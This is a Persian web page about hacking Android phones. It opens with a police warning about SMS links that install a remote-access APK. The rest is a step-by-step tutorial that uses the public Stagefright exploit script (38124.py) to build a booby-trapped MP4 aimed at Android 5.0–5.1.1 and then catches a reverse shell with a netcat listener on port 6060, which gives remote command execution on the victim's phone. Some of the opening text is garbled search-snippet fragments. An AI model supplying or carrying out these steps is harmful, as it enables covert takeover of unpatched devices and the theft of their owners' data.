هک گوشی های اندروید با ارسال لینک

به تازگی اخباری مبنی بر هک گوشی های اندروید با ارسال تصویر PNG پخش … فریم‌ورک اندروید برخورد کرده که هکرها را قادر می‌سازد تا با ارسال یک … هک ارسال لینک

به هیچ عنوان روی لینک‌ های کوتاه شده پیامک‌های ارسالی کلیک نکنید، زیرا خطر هک شدن گوشی موبایل شما از سوی هکرها وجود دارد.

سرهنگ حسن محمدنژاد رئیس پلیس فتا مازندران در گفتگو با خبرنگار گروه استان های باشگاه spy24 از ساری ، گفت: چند وقتی است نفوذگران با سوء استفاده از یک دیتابیس لو رفته از مشخصات مالکان سیم کارت برخی اپراتورها قصد نفوذ و دسترسی کامل به تلفن های همراه هوشمند کاربران را دارند.

وی افزود: هکرها با خطاب کردن نام مالک خط ،اعتماد کاربران را جلب کرده و آنها را برای کلیک روی لینک ارسالی که حاوی یک فایل آلوده است ترغیب می کنند.

سرهنگ حسن محمدنژاد ادامه داد: اگر لینک مورد نظر را باز کنید، یک فایل آلوده به بدافزار برای گوشی اندرویدی با پسوند apk روی گوشی‌ شما دانلود می شود که در صورت نصب، دسترسی از راه دور و کامل به تلفن همراهتان را می دهد.

رئیس پلیس فتا مازندران افزود: لینک های این چنینی تاثیری روی سیستم عامل آی‌او‌اس ندارد و فقط برای سیستم عامل اندروید استفاده می شود. اگر به هر دلیلی روی لینک کلیک کردید و فایل دانلود شده باشد و نصب نکرده باشید مشکلی به وجود نمی آید.

رئیس پلیس فتا مازندران به کاربران هشدار داد به هیچ عنوان و تحت هیچ شرایطی، روی لینک‌های کوتاه شده پیامک‌های ارسالی کلیک نکنید.

نفوذ به اندروید با ارسال ویدیو (MP4)

اموزش نفوذ به اندروید فقط با ارسال یک ویدیو (فرمت MP4) و با استفاده از اسیب پذیری Stagefright با ما در ادامه این اموزش هک و امنیت همراه باشید

نفوذ به اندروید با ارسال ویدیو و امنیت

سیستم عامل اندروید یکی از بهترین و محبوب ترین سیستم عامل های موبایل در جهان است به همین دلیل متخصصان امنیتی زیادی
بر روی امنیت اندروید کار میکنند اما اسیب پذیری هایی وجود دارند که بعد از انتشار اخرین نسخه منتشر میشوند تا هر چه سریع تر نسبت به رفع ان اقدام شود
بسیاری بعد از تهیه دستگاه اندرویدی خود اقدام به اپدیت و رفع این اسیب پذیری ها نمیکنند
یا شرکت های تولید کننده اپدیتی برای دستگاه قدیمی یا جدید ارائه نمیدهند 
پس اسیب پذیری در بسیاری از دستگاه ها باقی میمانند و هکرا با استفاده از ان حفره های امنیتی اقدام به نفوذ میکنند
یکی از این اسیب پذیری های خطرناک به نام Stagefright است که نفوذگر میتواند با ارسال یک ویدیو به کاربر دسترسی کنترل از راه ذور بگیرد 
که در ادامه با نحوه استفاده با این حفذره امنیتی اشنا میشوید
 

اسیب پذیری Stagefright

Stagefright یک حفره امنیتی در سیستم عامل اندرید از نوع باگ RCE است 
که همانطور که گفته شد با اجرای یک فایل ویدیو ای با پسورند .mp4 دسترسی کنترل از راه دور به نفوذگر میدهد
اکسپلویت این اسیب پذیری به صورت عمومی منتشر شده است و میتواند اندروید ۵٫۰ < 5.1.1 را مورد نفوذ قرار دهد
میتوانید فایل اکسپلویت را از اخر اموزش به صورت مستقیم دانلود کنید یا از سایت exploit-db.com دریافت کنید
نکته : در این اموزش برای نفوذ به اندروید از لینوکس استفاده میکنیم اما میتوانید با نصب پایتون در هر سیستم عاملی مانند ویندوز استفاده کنید
وارد ترمینال شوید و به مسیری که فایل پایتون اکسپلویت را قرار داده اید بروید
حال اکسپلویت را اجرا کنید تا سویچ ها و راهنمای ان را ببینید

python 38124.py

هک گوشی های اندروید
هک ارسال لینک

ساخت فایل الوده MP4

حال برای ساخت فایل ویدیو ای الوده به دستور زیر توجه کنید

python 38124.py -c 127.0.0.1 -p 6060 -o PentestCore.mp4

با استفاده از python فایل اکسپلویت ۳۸۱۲۴٫py را اجرا کرده ایم 
با سویچ -c ادرس ip سرور خود که میخواهید اتصال دستگاه کلاینت به ان برقرار شود را وارد کنید
یک پورت شبکه را برای اتصال به دلخواه انتخاب کنید ما با استفاده از سویچ -p پورت ۶۰۶۰ را انتخاب کرده ایم
و برای گرفتن خروجی سویچ -o را وارد کنید و سپس نام فایل را با فرمت .mp4 وارد کنید
که ما PentestCore.mp4 وارد کرده ایم این فایل خروجی است که باید به کلاینت خود بدهید تا اجرا کنید
بعد از اجرا فایل ساخته شده توسط کاربر نفوذ به اندروید انجام شده و اتصال به سرور شما بر قرار میشود 
برای برقراری این اتصال باید پورت ۶۰۶۰ را که انتخاب کرده بودید در سرور خود باز کنید و منتظر اجرای ویدیو توسط کلاینت شوید 
NC ابزاری مناسب برای باز کردن پورت است که در کالی لینوکس به صورت پیشفرض وجود دارد 
میتوانید اموزش استفاده از نت کت (nc) را در PentestCore مشاهده کنید
در nc را با سویچ های زیر اجرا کنید تا پروت مورد نظر شما بر روی سیسستم باز شود

nc -v -l -p 6060

بعد از اجرای فایل ویدو ای دستگاه به صورت ریموت به سرور شما از طریق nc متصل میشود و میتوانید دستورات خود را بر روی دستگاه وارد کنید.

• هک گوشی های اندروید
• هک ارسال لینک